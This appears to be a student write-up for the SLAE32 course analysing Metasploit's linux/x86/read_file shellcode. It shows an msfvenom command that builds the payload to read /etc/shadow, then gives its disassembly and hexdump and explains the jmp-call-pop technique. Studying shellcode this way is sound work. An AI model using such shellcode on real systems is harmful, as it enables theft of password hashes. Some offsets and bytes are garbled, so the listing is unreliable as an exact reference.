

SLAE32 assignment 5-1 PA-2485

I used this payload

linux/x86/read_file

msfvenom -p linux/x86/read_filepayload-options
Options for payload/linux/x86/read_file:
Name: Linux Read File
Module: payload/linux/x86/read_file
Platform: Linux
Arch: x86
Needs Admin: No
Total size: 62
Rank: Normal
Provided by:
hal
Basic options:
Name Current Setting Required Description
FD 1 yes The file descriptor to write output to
PATH yes The file path to read
Description:
Read up to 4096 bytes from the local file system and write it back
out to the specified file descriptor

msfvenom -a x86 -p linux/x86/read_file PATH=/etc/shadow > shadow

then I disassemble it by ndisasm -u shadow

and here the code with comments

```
jmp short 0x38 ;jmp/call/pop technique
0000000
          EB36
          B805000000
00000002
                            mov eax, 0x5 ;; int open(const char *pathname, int
flags);
00000007
                            pop ebx; pop the @ of the string starting at 0x3D
          5B
                            xor ecx, ecx ; Zero out ecx
80000008
          31C9
                            int 0x80 ; open syscall
A000000A
         CD80
000000C
          89C3
                            mov ebx, eax
000000E
          B803000000
                            mov eax, 0x3
00000013
                            mov edi, esp
          89E7
00000015 89F9
                            mov ecx, edi
                            mov edx, 0x1000
          BA00100000
00000017
0000001C CD80
                            int 0x80
0000001E 89C2
                            mov edx, eax
00000020 B804000000
                            mov eax, 0x4
00000025 BB01000000
                            mov ebx, 0x1
0000002A CD80
                            int 0x80
0000002C B801000000
                            mov eax, 0x1
                            mov ebx, 0x0
00000031 BB00000000
                            int 0x80
00000036 CD80
00000038 E8C5FFFFF
                            call 0x2 ; pushing the @ of the following bytes
(/etc/shadow) on the stack
0000003D 2F
                            das
0000003E
          657463
                            gs jz 0xa4
00000041
          2F
                            das
00000042
         7368
                            jnc 0xac
00000044
          61
                            popa
                            fs outsd
00000045
          646F
00000047
          7700
                            ia 0x49
```

then after I exmined it with hexdump it shows that the string at the end of the shellcode

```
00000000 eb 36 b8 05 00 00 00 5b 31 c9 cd 80 89 c3 b8 03 |.6....[1......|
00000010 00 00 00 89 e7 89 f9 ba 00 10 00 00 cd 80 89 c2 |.............|
00000020 b8 04 00 00 00 bb 01 00 00 cd 80 b8 01 00 00 |................|
00000030 00 bb 00 00 00 cd 80 e8 c5 ff ff ff 2f 65 74 |......./et|
00000040 63 2f 73 68 61 64 6f 77 00 |c/shadow.|
```

it's clearly that it uses JMP-CALL-POP

The jmp/call/pop technique will set the address of the following string in EBX:

 $root@kali:~\# echo -e \x2f\x65\x74\x63\x2f\x73\x68\x61\x64\x6f\x77\x00/etc/shadow$

The read file shellcode opens the file, reads its content, writes it to the STDOUT and exits.